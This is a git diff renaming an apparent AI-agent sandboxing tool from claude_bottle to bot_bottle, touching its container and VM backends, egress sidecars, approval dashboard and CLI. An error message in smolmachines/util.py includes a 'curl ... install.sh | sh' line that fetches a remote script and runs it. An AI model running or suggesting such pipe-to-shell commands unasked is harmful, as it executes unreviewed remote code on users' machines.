`claude-bottle-*`, regardless of +def _list_bot_bottle_machines() -> list[str]: + """All smolvm machines named `bot-bottle-*`, regardless of state (running / stopped / created). Empty when smolvm isn't installed.""" if not _smolvm.is_available(): @@ -118,7 +118,7 @@ def _list_claude_bottle_machines() -> list[str]: def _list_bundle_containers() -> list[str]: - """All docker containers named `claude-bottle-sidecars-*`, + """All docker containers named `bot-bottle-sidecars-*`, running or stopped. Empty when docker isn't installed.""" # Late import: `backend/__init__` imports this module # transitively via the smolmachines backend. @@ -140,7 +140,7 @@ def _list_bundle_containers() -> list[str]: def _list_bundle_networks() -> list[str]: - """All docker networks named `claude-bottle-bundle-*`. Empty + """All docker networks named `bot-bottle-bundle-*`. Empty when docker isn't installed.""" from .. import has_backend if not has_backend("docker"): diff --git a/claude_bottle/backend/smolmachines/enumerate.py b/bot_bottle/backend/smolmachines/enumerate.py similarity index 95% rename from claude_bottle/backend/smolmachines/enumerate.py rename to bot_bottle/backend/smolmachines/enumerate.py index 05f9217..668c6e9 100644 --- a/claude_bottle/backend/smolmachines/enumerate.py +++ b/bot_bottle/backend/smolmachines/enumerate.py @@ -27,10 +27,10 @@ from ..docker.bottle_state import read_metadata from . import sidecar_bundle as _bundle -# Smolvm VM names produced by prepare are `claude-bottle-`, +# Smolvm VM names produced by prepare are `bot-bottle-`, # matching the bundle container name pattern. We use the prefix # both as a filter and to strip back to the slug. -_VM_NAME_PREFIX = "claude-bottle-" +_VM_NAME_PREFIX = "bot-bottle-" def enumerate_active() -> list[ActiveAgent]: @@ -70,7 +70,7 @@ def enumerate_active() -> list[ActiveAgent]: def _query_bundle_services() -> dict[str, tuple[str, ...]]: """`{slug: ('egress', 'pipelock', ...)}` from each running - bundle container's `CLAUDE_BOTTLE_SIDECAR_DAEMONS` env var. + bundle container's `BOT_BOTTLE_SIDECAR_DAEMONS` env var. Smolmachines bundles all run the PRD-0024 image with the same daemon set declared via env, so one inspect per bundle gets us the picture without exec'ing into the container. @@ -113,7 +113,7 @@ def _query_bundle_services() -> dict[str, tuple[str, ...]]: continue for entry in env_list: key, _, value = entry.partition("=") - if key == "CLAUDE_BOTTLE_SIDECAR_DAEMONS": + if key == "BOT_BOTTLE_SIDECAR_DAEMONS": out[slug] = tuple(sorted( d for d in value.split(",") if d )) diff --git a/claude_bottle/backend/smolmachines/launch.py b/bot_bottle/backend/smolmachines/launch.py similarity index 98% rename from claude_bottle/backend/smolmachines/launch.py rename to bot_bottle/backend/smolmachines/launch.py index 4397398..9ccc95f 100644 --- a/claude_bottle/backend/smolmachines/launch.py +++ b/bot_bottle/backend/smolmachines/launch.py @@ -68,7 +68,7 @@ _REPO_DIR = str(Path(__file__).resolve().parent.parent.parent.parent) # docker image ID so a Dockerfile change automatically invalidates # the cache. `pack create` is idempotent on the smolvm side but # takes several seconds even on a no-op rebuild. -_SMOLMACHINE_CACHE_DIR = Path.home() / ".cache" / "claude-bottle" / "smolmachines" +_SMOLMACHINE_CACHE_DIR = Path.home() / ".cache" / "bot-bottle" / "smolmachines" # Container-internal listening ports for each bundle daemon. The @@ -421,7 +421,7 @@ def _resolve_token_env( def _ensure_smolmachine(image_ref: str, *, dockerfile: str = "") -> Path: """Build the agent docker image and convert it into a `.smolmachine` artifact, caching the result under - `~/.cache/claude-bottle/smolmachines/` keyed by the docker image + `~/.cache/bot-bottle/smolmachines/` keyed by the docker image ID (so a Dockerfile change automatically invalidates the cache). Returns the `.smolmachine.smolmachine` sidecar path — that's @@ -456,8 +456,8 @@ def _ensure_smolmachine(image_ref: str, *, dockerfile: str = "") -> Path: docker_mod.save(image_ref, str(tarball)) try: with ephemeral_registry() as handle: - push_ref = f"{handle.push_endpoint}/claude-bottle:{digest}" - pack_ref = f"{handle.pull_endpoint}/claude-bottle:{digest}" + push_ref = f"{handle.push_endpoint}/bot-bottle:{digest}" + pack_ref = f"{handle.pull_endpoint}/bot-bottle:{digest}" crane_push_tarball(handle, str(tarball), push_ref) _smolvm.pack_create(pack_ref, binary) finally: diff --git a/claude_bottle/backend/smolmachines/local_registry.py b/bot_bottle/backend/smolmachines/local_registry.py similarity index 97% rename from claude_bottle/backend/smolmachines/local_registry.py rename to bot_bottle/backend/smolmachines/local_registry.py index 8977f37..5ca3f04 100644 --- a/claude_bottle/backend/smolmachines/local_registry.py +++ b/bot_bottle/backend/smolmachines/local_registry.py @@ -48,9 +48,9 @@ from ...log import die # registry:2.8.3, pinned by digest. Same env-override pattern as the -# pipelock image pin in claude_bottle/backend/docker/pipelock.py. +# pipelock image pin in bot_bottle/backend/docker/pipelock.py. REGISTRY_IMAGE = os.environ.get( - "CLAUDE_BOTTLE_REGISTRY_IMAGE", + "BOT_BOTTLE_REGISTRY_IMAGE", "registry@sha256:a3d8aaa63ed8681a604f1dea0aa03f100d5895b6a58ace528858a7b332415373", ) @@ -60,7 +60,7 @@ REGISTRY_IMAGE = os.environ.get( # against a localhost-equivalent registry, so the trust surface is # narrow. CRANE_IMAGE = os.environ.get( - "CLAUDE_BOTTLE_CRANE_IMAGE", + "BOT_BOTTLE_CRANE_IMAGE", "gcr.io/go-containerregistry/crane@sha256:0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084", ) @@ -104,8 +104,8 @@ def ephemeral_registry() -> Iterator[RegistryHandle]: on its own; the `finally` block force-removes on abnormal exit (the calling process crashes between yield and close).""" session_id = uuid.uuid4().hex[:12] - network = f"claude-bottle-registry-net-{session_id}" - registry_name = f"claude-bottle-registry-{session_id}" + network = f"bot-bottle-registry-net-{session_id}" + registry_name = f"bot-bottle-registry-{session_id}" subprocess.run( ["docker", "network", "create", network], diff --git a/claude_bottle/backend/smolmachines/loopback_alias.py b/bot_bottle/backend/smolmachines/loopback_alias.py similarity index 98% rename from claude_bottle/backend/smolmachines/loopback_alias.py rename to bot_bottle/backend/smolmachines/loopback_alias.py index 7897e4c..7fc65e6 100644 --- a/claude_bottle/backend/smolmachines/loopback_alias.py +++ b/bot_bottle/backend/smolmachines/loopback_alias.py @@ -110,7 +110,7 @@ def ensure_pool() -> None: ) for ip in missing: result = subprocess.run( - ["sudo", "-p", "claude-bottle (loopback alias): ", + ["sudo", "-p", "bot-bottle (loopback alias): ", "ifconfig", "lo0", "alias", f"{ip}/32", "up"], check=False, ) @@ -215,7 +215,7 @@ def _aliases_in_use() -> set[str]: `HostIp` out of its port bindings.""" result = subprocess.run( ["docker", "ps", "--format", "{{.Names}}", - "--filter", "name=claude-bottle-sidecars-"], + "--filter", "name=bot-bottle-sidecars-"], capture_output=True, text=True, check=False, ) if result.returncode != 0: diff --git a/claude_bottle/backend/smolmachines/prepare.py b/bot_bottle/backend/smolmachines/prepare.py similarity index 96% rename from claude_bottle/backend/smolmachines/prepare.py rename to bot_bottle/backend/smolmachines/prepare.py index 493f924..18bdfc6 100644 --- a/claude_bottle/backend/smolmachines/prepare.py +++ b/bot_bottle/backend/smolmachines/prepare.py @@ -119,7 +119,7 @@ def resolve_plan( # outbound leg using a token held in egress's own environ — so # the agent gets a non-secret placeholder here (matches the # docker backend's forwarded_env logic in - # claude_bottle/backend/docker/prepare.py). + # bot_bottle/backend/docker/prepare.py). has_provider_auth = any( provider_runtime.auth_role in r.roles for r in egress_plan.routes ) @@ -148,20 +148,20 @@ def resolve_plan( prompt_file.write_text(agent.prompt or "") prompt_file.chmod(0o600) - machine_name = f"claude-bottle-{slug}" + machine_name = f"bot-bottle-{slug}" # Stash the agent image ref — `launch.launch` runs the - # build → pack pipeline at bringup. Honors CLAUDE_BOTTLE_IMAGE + # build → pack pipeline at bringup. Honors BOT_BOTTLE_IMAGE # to match the docker backend's `resolve_plan` default. agent_dockerfile_path = "" if provider.dockerfile: agent_dockerfile_path = _resolve_manifest_dockerfile(provider.dockerfile, spec) - image_default = f"claude-bottle:{provider.template}-{slug}" + image_default = f"bot-bottle-{provider.template}:{slug}" elif provider_runtime.dockerfile: agent_dockerfile_path = provider_runtime.dockerfile image_default = provider_runtime.image else: image_default = provider_runtime.image - agent_image_ref = os.environ.get("CLAUDE_BOTTLE_IMAGE", image_default) + agent_image_ref = os.environ.get("BOT_BOTTLE_IMAGE", image_default) return SmolmachinesBottlePlan( spec=spec, diff --git a/claude_bottle/backend/smolmachines/provision/__init__.py b/bot_bottle/backend/smolmachines/provision/__init__.py similarity index 100% rename from claude_bottle/backend/smolmachines/provision/__init__.py rename to bot_bottle/backend/smolmachines/provision/__init__.py diff --git a/claude_bottle/backend/smolmachines/provision/ca.py b/bot_bottle/backend/smolmachines/provision/ca.py similarity index 100% rename from claude_bottle/backend/smolmachines/provision/ca.py rename to bot_bottle/backend/smolmachines/provision/ca.py diff --git a/claude_bottle/backend/smolmachines/provision/git.py b/bot_bottle/backend/smolmachines/provision/git.py similarity index 96% rename from claude_bottle/backend/smolmachines/provision/git.py rename to bot_bottle/backend/smolmachines/provision/git.py index 975d981..7968d23 100644 --- a/claude_bottle/backend/smolmachines/provision/git.py +++ b/bot_bottle/backend/smolmachines/provision/git.py @@ -36,14 +36,14 @@ from ..bottle_plan import SmolmachinesBottlePlan # `node` is the agent user from the repo Dockerfile. Override via -# CLAUDE_BOTTLE_GUEST_HOME mirrors the docker backend's -# CLAUDE_BOTTLE_CONTAINER_HOME knob — same purpose, different +# BOT_BOTTLE_GUEST_HOME mirrors the docker backend's +# BOT_BOTTLE_CONTAINER_HOME knob — same purpose, different # transport. _DEFAULT_GUEST_HOME = "/home/node" def _guest_home() -> str: - return os.environ.get("CLAUDE_BOTTLE_GUEST_HOME", _DEFAULT_GUEST_HOME) + return os.environ.get("BOT_BOTTLE_GUEST_HOME", _DEFAULT_GUEST_HOME) def provision_git(plan: SmolmachinesBottlePlan, target: str) -> None: diff --git a/claude_bottle/backend/smolmachines/provision/prompt.py b/bot_bottle/backend/smolmachines/provision/prompt.py similarity index 86% rename from claude_bottle/backend/smolmachines/provision/prompt.py rename to bot_bottle/backend/smolmachines/provision/prompt.py index fb0cf5d..1a5276c 100644 --- a/claude_bottle/backend/smolmachines/provision/prompt.py +++ b/bot_bottle/backend/smolmachines/provision/prompt.py @@ -18,8 +18,8 @@ from ..bottle_plan import SmolmachinesBottlePlan # `node` is the agent user from the repo Dockerfile. -# CLAUDE_BOTTLE_GUEST_HOME mirrors the docker backend's -# CLAUDE_BOTTLE_CONTAINER_HOME knob. +# BOT_BOTTLE_GUEST_HOME mirrors the docker backend's +# BOT_BOTTLE_CONTAINER_HOME knob. _DEFAULT_GUEST_HOME = "/home/node" @@ -29,8 +29,8 @@ def provision_prompt(plan: SmolmachinesBottlePlan, target: str) -> str | None: non-empty prompt (drives --append-system-prompt-file), else None. The file is copied either way so the path always exists — mirrors the docker backend's behavior.""" - guest_home = os.environ.get("CLAUDE_BOTTLE_GUEST_HOME", _DEFAULT_GUEST_HOME) - in_guest_prompt_path = f"{guest_home}/.claude-bottle-prompt.txt" + guest_home = os.environ.get("BOT_BOTTLE_GUEST_HOME", _DEFAULT_GUEST_HOME) + in_guest_prompt_path = f"{guest_home}/.bot-bottle-prompt.txt" _smolvm.machine_cp(str(plan.prompt_file), f"{target}:{in_guest_prompt_path}") # machine cp lands as root, source's 0o600 mode is preserved — diff --git a/claude_bottle/backend/smolmachines/provision/skills.py b/bot_bottle/backend/smolmachines/provision/skills.py similarity index 95% rename from claude_bottle/backend/smolmachines/provision/skills.py rename to bot_bottle/backend/smolmachines/provision/skills.py index 8eb310f..d870ec3 100644 --- a/claude_bottle/backend/smolmachines/provision/skills.py +++ b/bot_bottle/backend/smolmachines/provision/skills.py @@ -19,7 +19,7 @@ from ..bottle_plan import SmolmachinesBottlePlan # In-guest path mirrors the docker backend's claude-skills # convention (~/.claude/skills//) under the node user's -# home — same path as the real claude-bottle image's +# home — same path as the real bot-bottle image's # /home/node/.claude/skills (pre-created in the Dockerfile). _DEFAULT_SKILLS_DIR = "/home/node/.claude/skills" @@ -43,7 +43,7 @@ def provision_skills(plan: SmolmachinesBottlePlan, target: str) -> None: return skills_dir = os.environ.get( - "CLAUDE_BOTTLE_GUEST_SKILLS_DIR", _DEFAULT_SKILLS_DIR, + "BOT_BOTTLE_GUEST_SKILLS_DIR", _DEFAULT_SKILLS_DIR, ) _smolvm.machine_exec(target, ["mkdir", "-p", skills_dir]) diff --git a/claude_bottle/backend/smolmachines/provision/supervise.py b/bot_bottle/backend/smolmachines/provision/supervise.py similarity index 100% rename from claude_bottle/backend/smolmachines/provision/supervise.py rename to bot_bottle/backend/smolmachines/provision/supervise.py diff --git a/claude_bottle/backend/smolmachines/pty_resize.py b/bot_bottle/backend/smolmachines/pty_resize.py similarity index 98% rename from claude_bottle/backend/smolmachines/pty_resize.py rename to bot_bottle/backend/smolmachines/pty_resize.py index 5603ca0..cb81311 100644 --- a/claude_bottle/backend/smolmachines/pty_resize.py +++ b/bot_bottle/backend/smolmachines/pty_resize.py @@ -116,7 +116,7 @@ def main(argv: list[str]) -> int: transparent for callers building argv programmatically.""" if len(argv) < 3 or argv[1] != "--": sys.stderr.write( - "usage: python -m claude_bottle.backend.smolmachines.pty_resize " + "usage: python -m bot_bottle.backend.smolmachines.pty_resize " " -- \n" ) return 2 diff --git a/claude_bottle/backend/smolmachines/sidecar_bundle.py b/bot_bottle/backend/smolmachines/sidecar_bundle.py similarity index 94% rename from claude_bottle/backend/smolmachines/sidecar_bundle.py rename to bot_bottle/backend/smolmachines/sidecar_bundle.py index e4899af..9aca944 100644 --- a/claude_bottle/backend/smolmachines/sidecar_bundle.py +++ b/bot_bottle/backend/smolmachines/sidecar_bundle.py @@ -11,7 +11,7 @@ Two docker resources per bottle live here: — a race we can sidestep with `--ip`. - **The bundle container itself**, running the PRD 0024 bundle - image (`claude-bottle-sidecars:latest` by default). Same + image (`bot-bottle-sidecars:latest` by default). Same image, same daemons, same daemon-private env / bind-mounts as the docker backend. @@ -33,18 +33,18 @@ from ..docker.sidecar_bundle import SIDECAR_BUNDLE_IMAGE def bundle_network_name(slug: str) -> str: - """`claude-bottle-bundle-` — distinct from the docker - backend's `claude-bottle-net-` so a smolmachines bottle + """`bot-bottle-bundle-` — distinct from the docker + backend's `bot-bottle-net-` so a smolmachines bottle and a docker bottle for the same agent don't collide on network name.""" - return f"claude-bottle-bundle-{slug}" + return f"bot-bottle-bundle-{slug}" def bundle_container_name(slug: str) -> str: - """`claude-bottle-sidecars-` — same name shape the docker + """`bot-bottle-sidecars-` — same name shape the docker backend uses for the bundle (PRD 0024 chunk 5). The dashboard's prefix-based discovery covers both backends with one filter.""" - return f"claude-bottle-sidecars-{slug}" + return f"bot-bottle-sidecars-{slug}" @dataclass(frozen=True) @@ -59,7 +59,7 @@ class BundleLaunchSpec: gateway: str bundle_ip: str image: str = SIDECAR_BUNDLE_IMAGE - # Daemon subset CSV for CLAUDE_BOTTLE_SIDECAR_DAEMONS. The + # Daemon subset CSV for BOT_BOTTLE_SIDECAR_DAEMONS. The # supervisor inside the bundle reads it to skip # bottle-irrelevant daemons (e.g. supervise=False bottles). daemons_csv: str = "egress,pipelock" @@ -141,7 +141,7 @@ def start_bundle(spec: BundleLaunchSpec, *, "--rm", "--network", spec.network_name, "--ip", spec.bundle_ip, - "-e", f"CLAUDE_BOTTLE_SIDECAR_DAEMONS={spec.daemons_csv}", + "-e", f"BOT_BOTTLE_SIDECAR_DAEMONS={spec.daemons_csv}", ] for entry in spec.environment: argv += ["-e", entry] diff --git a/claude_bottle/backend/smolmachines/smolvm.py b/bot_bottle/backend/smolmachines/smolvm.py similarity index 100% rename from claude_bottle/backend/smolmachines/smolvm.py rename to bot_bottle/backend/smolmachines/smolvm.py diff --git a/claude_bottle/backend/smolmachines/util.py b/bot_bottle/backend/smolmachines/util.py similarity index 96% rename from claude_bottle/backend/smolmachines/util.py rename to bot_bottle/backend/smolmachines/util.py index b6fa3eb..b28f451 100644 --- a/claude_bottle/backend/smolmachines/util.py +++ b/bot_bottle/backend/smolmachines/util.py @@ -19,7 +19,7 @@ def smolmachines_preflight() -> None: if shutil.which("smolvm") is not None: return die( - "CLAUDE_BOTTLE_BACKEND=smolmachines requires `smolvm` on " + "BOT_BOTTLE_BACKEND=smolmachines requires `smolvm` on " "PATH. Install with: " "curl -sSL https://smolmachines.com/install.sh | sh" ) diff --git a/claude_bottle/backend/util.py b/bot_bottle/backend/util.py similarity index 89% rename from claude_bottle/backend/util.py rename to bot_bottle/backend/util.py index bb26f49..1bc8bec 100644 --- a/claude_bottle/backend/util.py +++ b/bot_bottle/backend/util.py @@ -1,6 +1,6 @@ """Cross-backend utility helpers — host-side primitives shared by every backend implementation. Backend-specific helpers live one level -deeper (e.g. claude_bottle/backend/docker/util.py).""" +deeper (e.g. bot_bottle/backend/docker/util.py).""" from __future__ import annotations diff --git a/claude_bottle/cli/__init__.py b/bot_bottle/cli/__init__.py similarity index 94% rename from claude_bottle/cli/__init__.py rename to bot_bottle/cli/__init__.py index f6ee37a..ebcc139 100644 --- a/claude_bottle/cli/__init__.py +++ b/bot_bottle/cli/__init__.py @@ -35,11 +35,11 @@ COMMANDS = { def usage() -> None: sys.stderr.write(f"usage: {PROG} [args...]\n\n") sys.stderr.write("Commands:\n") - sys.stderr.write(" cleanup stop and remove all active claude-bottle containers\n") + sys.stderr.write(" cleanup stop and remove all active bot-bottle containers\n") sys.stderr.write(" dashboard view + approve/modify/reject pending supervise proposals (PRD 0013)\n") sys.stderr.write(" edit open an agent in vim for editing\n") sys.stderr.write(" info print env, skills, and prompt details for a named agent\n") - sys.stderr.write(" init interactively create a new agent and add it to claude-bottle.json\n") + sys.stderr.write(" init interactively create a new agent and add it to bot-bottle.json\n") sys.stderr.write(" list list available agents or active containers\n") sys.stderr.write(" resume re-launch a bottle by its identity (continues state from PRD 0016)\n") sys.stderr.write(" start boot a container for a named agent and attach an interactive session\n\n") diff --git a/claude_bottle/cli/_common.py b/bot_bottle/cli/_common.py similarity index 100% rename from claude_bottle/cli/_common.py rename to bot_bottle/cli/_common.py diff --git a/claude_bottle/cli/cleanup.py b/bot_bottle/cli/cleanup.py similarity index 87% rename from claude_bottle/cli/cleanup.py rename to bot_bottle/cli/cleanup.py index eb225f0..9f9563c 100644 --- a/claude_bottle/cli/cleanup.py +++ b/bot_bottle/cli/cleanup.py @@ -1,4 +1,4 @@ -"""cleanup: stop and remove all orphaned claude-bottle resources. +"""cleanup: stop and remove all orphaned bot-bottle resources. Walks every registered backend (docker + smolmachines) so a single `./cli.py cleanup` reaps both backends' leftovers — orphaned @@ -14,7 +14,7 @@ bucket. State dirs with `.preserve` are intentionally never touched — they hold capability-block rebuilds or crash snapshots the operator may -want to `resume`. Manual `rm -rf ~/.claude-bottle/state/` +want to `resume`. Manual `rm -rf ~/.bot-bottle/state/` is the path for those. """ @@ -36,7 +36,7 @@ def cmd_cleanup(_argv: list[str]) -> int: prepared = [(name, b, b.prepare_cleanup()) for name, b in plans] if all(p.empty for _, _, p in prepared): - info("no claude-bottle resources to clean up") + info("no bot-bottle resources to clean up") return 0 for name, _, plan in prepared: @@ -58,7 +58,7 @@ def cmd_cleanup(_argv: list[str]) -> int: def _prompt_yes(message: str) -> bool: - sys.stderr.write(f"claude-bottle: {message} [y/N] ") + sys.stderr.write(f"bot-bottle: {message} [y/N] ") sys.stderr.flush() reply = read_tty_line() return reply in ("y", "Y", "yes", "YES") diff --git a/claude_bottle/cli/dashboard.py b/bot_bottle/cli/dashboard.py similarity index 99% rename from claude_bottle/cli/dashboard.py rename to bot_bottle/cli/dashboard.py index 2c488ec..9c1357e 100644 --- a/claude_bottle/cli/dashboard.py +++ b/bot_bottle/cli/dashboard.py @@ -120,10 +120,10 @@ def _approval_status(qp: QueuedProposal, verb: str) -> str: def discover_pending() -> list[QueuedProposal]: - """Walk ~/.claude-bottle/queue/* and collect pending proposals + """Walk ~/.bot-bottle/queue/* and collect pending proposals from every bottle's queue. Sorted by arrival time across the union — the operator works the global FIFO.""" - queue_root = _supervise.claude_bottle_root() / "queue" + queue_root = _supervise.bot_bottle_root() / "queue" if not queue_root.is_dir(): return [] out: list[QueuedProposal] = [] @@ -543,7 +543,7 @@ def _backend_picker_modal( which keeps existing-muscle-memory flows quiet — the modal only surfaces a choice; it doesn't surprise the operator by jumping to smolmachines. The picker exists so operators can opt in to - smolmachines without setting CLAUDE_BOTTLE_BACKEND beforehand + smolmachines without setting BOT_BOTTLE_BACKEND beforehand (issue #77).""" names = list(known_backend_names()) if len(names) <= 1: @@ -638,7 +638,7 @@ def _bottle_for_slug( """Return `(bottle_handle, prompt_path_hint)` for a re-attach. If the slug is in `bottles` (dashboard-owned), return the stored handle directly. Otherwise synthesize a `DockerBottle` from the - container name `claude-bottle-`. For synthesized bottles + container name `bot-bottle-`. For synthesized bottles the prompt-file path comes from the manifest's agent if we can resolve it via metadata.json + the loaded manifest; otherwise the re-attach runs without `--append-system-prompt-file`. @@ -651,18 +651,18 @@ def _bottle_for_slug( _cm, bottle, _identity = bottles[slug] return bottle, "" # The container hosting the agent's claude process is named - # `claude-bottle-` — set by the compose renderer + # `bot-bottle-` — set by the compose renderer # (no service suffix on the agent service, by design). - container_name = f"claude-bottle-{slug}" + container_name = f"bot-bottle-{slug}" prompt_path: str | None = None metadata = read_metadata(slug) if metadata is not None and manifest is not None: agent = manifest.agents.get(metadata.agent_name) if agent is not None and agent.prompt: container_home = os.environ.get( - "CLAUDE_BOTTLE_CONTAINER_HOME", "/home/node", + "BOT_BOTTLE_CONTAINER_HOME", "/home/node", ) - prompt_path = f"{container_home}/.claude-bottle-prompt.txt" + prompt_path = f"{container_home}/.bot-bottle-prompt.txt" synth = DockerBottle( container=container_name, teardown=lambda: None, @@ -1181,7 +1181,7 @@ def _new_agent_flow( def _prompt() -> bool: return _preflight_modal(stdscr, captured.get("text", "")) - stage_dir = Path(tempfile.mkdtemp(prefix="claude-bottle-stage.")) + stage_dir = Path(tempfile.mkdtemp(prefix="bot-bottle-stage.")) try: plan, identity = prepare_with_preflight( spec, @@ -1614,7 +1614,7 @@ def _render( h, w = stdscr.getmaxyx() agents = agents or [] header = ( - f"claude-bottle dashboard " + f"bot-bottle dashboard " f"({len(pending)} pending, {len(agents)} active)" ) stdscr.addnstr(0, 0, header, w - 1, curses.A_BOLD) diff --git a/claude_bottle/cli/edit.py b/bot_bottle/cli/edit.py similarity index 89% rename from claude_bottle/cli/edit.py rename to bot_bottle/cli/edit.py index 9f41870..8c412d9 100644 --- a/claude_bottle/cli/edit.py +++ b/bot_bottle/cli/edit.py @@ -18,9 +18,9 @@ def cmd_edit(argv: list[str]) -> int: args = parser.parse_args(argv) if args.scope == "user": - target_file = Path(os.environ["HOME"]) / "claude-bottle.json" + target_file = Path(os.environ["HOME"]) / "bot-bottle.json" else: - target_file = Path(USER_CWD) / "claude-bottle.json" + target_file = Path(USER_CWD) / "bot-bottle.json" if not target_file.is_file(): die(f"{target_file} does not exist") diff --git a/claude_bottle/cli/info.py b/bot_bottle/cli/info.py similarity index 94% rename from claude_bottle/cli/info.py rename to bot_bottle/cli/info.py index 228ffbc..db74464 100644 --- a/claude_bottle/cli/info.py +++ b/bot_bottle/cli/info.py @@ -11,7 +11,7 @@ from ._common import PROG, USER_CWD def cmd_info(argv: list[str]) -> int: parser = argparse.ArgumentParser(prog=f"{PROG} info", add_help=True) - parser.add_argument("name", help="agent name defined in claude-bottle.json") + parser.add_argument("name", help="agent name defined in bot-bottle.json") args = parser.parse_args(argv) manifest = Manifest.resolve(USER_CWD) diff --git a/claude_bottle/cli/init.py b/bot_bottle/cli/init.py similarity index 94% rename from claude_bottle/cli/init.py rename to bot_bottle/cli/init.py index 50c6f0f..ac78ef1 100644 --- a/claude_bottle/cli/init.py +++ b/bot_bottle/cli/init.py @@ -1,4 +1,4 @@ -"""init: interactively create a new agent and add it to claude-bottle.json.""" +"""init: interactively create a new agent and add it to bot-bottle.json.""" from __future__ import annotations @@ -20,12 +20,12 @@ def cmd_init(argv: list[str]) -> int: args = parser.parse_args(argv) if args.scope == "user": - target_file = Path(os.environ["HOME"]) / "claude-bottle.json" + target_file = Path(os.environ["HOME"]) / "bot-bottle.json" else: - target_file = Path(USER_CWD) / "claude-bottle.json" + target_file = Path(USER_CWD) / "bot-bottle.json" print(file=sys.stderr) - info(f"claude-bottle init — adding a new agent to {target_file}") + info(f"bot-bottle init — adding a new agent to {target_file}") print(file=sys.stderr) # Agent name @@ -51,7 +51,7 @@ def cmd_init(argv: list[str]) -> int: die(f"{target_file} exists but is not valid JSON; fix or remove it first") if agent_name in (existing.get("agents") or {}): sys.stderr.write( - f'claude-bottle: agent "{agent_name}" already exists in {target_file}. Overwrite? [y/N] ' + f'bot-bottle: agent "{agent_name}" already exists in {target_file}. Overwrite? [y/N] ' ) sys.stderr.flush() ow = read_tty_line() diff --git a/claude_bottle/cli/list.py b/bot_bottle/cli/list.py similarity index 94% rename from claude_bottle/cli/list.py rename to bot_bottle/cli/list.py index 2428282..715b983 100644 --- a/claude_bottle/cli/list.py +++ b/bot_bottle/cli/list.py @@ -25,7 +25,7 @@ def cmd_list(argv: list[str]) -> int: # so smolmachines bottles aren't hidden behind the env var. active = enumerate_active_agents() if not active: - print("no active claude-bottle bottles", file=sys.stderr) + print("no active bot-bottle bottles", file=sys.stderr) return 0 # One line per bottle: `\t\t\t`. # Tab-separated keeps the format stable for shell pipelines; diff --git a/claude_bottle/cli/resume.py b/bot_bottle/cli/resume.py similarity index 91% rename from claude_bottle/cli/resume.py rename to bot_bottle/cli/resume.py index 05e3082..2ce5ccd 100644 --- a/claude_bottle/cli/resume.py +++ b/bot_bottle/cli/resume.py @@ -1,6 +1,6 @@ """resume: re-launch a bottle by its identity. -Reads ~/.claude-bottle/state//metadata.json to recover the +Reads ~/.bot-bottle/state//metadata.json to recover the (agent_name, cwd, copy_cwd) the bottle was originally started with, then runs the same launch core as `start` — but pinned to the recorded identity so the new bottle picks up any per-bottle Dockerfile @@ -39,7 +39,7 @@ def cmd_resume(argv: list[str]) -> int: if metadata is None: die( f"no state recorded for identity {args.identity!r}; " - f"check ~/.claude-bottle/state/ or run `cli.py start` to create a new bottle" + f"check ~/.bot-bottle/state/ or run `cli.py start` to create a new bottle" ) manifest = Manifest.resolve(USER_CWD) diff --git a/claude_bottle/cli/start.py b/bot_bottle/cli/start.py similarity index 95% rename from claude_bottle/cli/start.py rename to bot_bottle/cli/start.py index 51cde73..f19960c 100644 --- a/claude_bottle/cli/start.py +++ b/bot_bottle/cli/start.py @@ -47,14 +47,14 @@ def cmd_start(argv: list[str]) -> int: choices=known_backend_names(), default=None, help=( - "backend to launch the bottle on (default: $CLAUDE_BOTTLE_BACKEND " + "backend to launch the bottle on (default: $BOT_BOTTLE_BACKEND " "or 'docker'). Overrides the env var when set." ), ) - parser.add_argument("name", help="agent name defined in claude-bottle.json") + parser.add_argument("name", help="agent name defined in bot-bottle.json") args = parser.parse_args(argv) - dry_run = args.dry_run or os.environ.get("CLAUDE_BOTTLE_DRY_RUN") == "1" + dry_run = args.dry_run or os.environ.get("BOT_BOTTLE_DRY_RUN") == "1" manifest = Manifest.resolve(USER_CWD) spec = BottleSpec( @@ -89,7 +89,7 @@ def prepare_with_preflight( curses modal. `backend_name` selects which backend prepares the plan - (`None` → `$CLAUDE_BOTTLE_BACKEND` → `docker`). Dashboard + (`None` → `$BOT_BOTTLE_BACKEND` → `docker`). Dashboard passes the value from its new-agent backend-picker modal; the CLI passes whatever `--backend` resolved to. @@ -180,7 +180,7 @@ def _identity_from_plan(plan: object) -> str: def _text_prompt_yes() -> bool: """Default `prompt_yes` for CLI use: reads y/N from the controlling tty via stderr prompt + tty-line read.""" - sys.stderr.write("claude-bottle: launch this agent? [y/N] ") + sys.stderr.write("bot-bottle: launch this agent? [y/N] ") sys.stderr.flush() reply = read_tty_line() return reply in ("y", "Y", "yes", "YES") @@ -202,7 +202,7 @@ def _launch_bottle( """Shared launch core for `start` and `resume`. Builds the plan, prints / dry-runs / prompts as appropriate, brings the bottle up, attaches claude, and prints the resume hint on session end.""" - stage_dir = Path(tempfile.mkdtemp(prefix="claude-bottle-stage.")) + stage_dir = Path(tempfile.mkdtemp(prefix="bot-bottle-stage.")) identity = "" try: plan, identity = prepare_with_preflight( diff --git a/claude_bottle/egress.py b/bot_bottle/egress.py similarity index 99% rename from claude_bottle/egress.py rename to bot_bottle/egress.py index 58504a7..50fcbd4 100644 --- a/claude_bottle/egress.py +++ b/bot_bottle/egress.py @@ -14,7 +14,7 @@ This module defines the abstract proxy (`Egress`), its plan dataclass (`EgressPlan`), and the resolved per-route shape (`EgressRoute`). The sidecar's start/stop lifecycle is backend- specific and lives on concrete subclasses (see -`claude_bottle/backend/docker/egress.py`). +`bot_bottle/backend/docker/egress.py`). Chunks 1+2 of the PRD: this module + the mitmproxy addon + the Docker lifecycle are wired into the agent's `HTTP_PROXY` path; cred-proxy diff --git a/claude_bottle/egress_addon.py b/bot_bottle/egress_addon.py similarity index 99% rename from claude_bottle/egress_addon.py rename to bot_bottle/egress_addon.py index 8180c89..24a7ec1 100644 --- a/claude_bottle/egress_addon.py +++ b/bot_bottle/egress_addon.py @@ -21,7 +21,7 @@ mitmproxy is a container-only dependency. The host's tests target Dockerfile.sidecars copies both this file and `egress_addon_core.py` flat into `/app/`; the absolute import below works because mitmdump runs with `/app` on its sys.path. The -parallel file in the package source tree (claude_bottle/) is the +parallel file in the package source tree (bot_bottle/) is the build input — not a module the host imports.""" from __future__ import annotations diff --git a/claude_bottle/egress_addon_core.py b/bot_bottle/egress_addon_core.py similarity index 99% rename from claude_bottle/egress_addon_core.py rename to bot_bottle/egress_addon_core.py index c99c547..9cacb85 100644 --- a/claude_bottle/egress_addon_core.py +++ b/bot_bottle/egress_addon_core.py @@ -19,7 +19,7 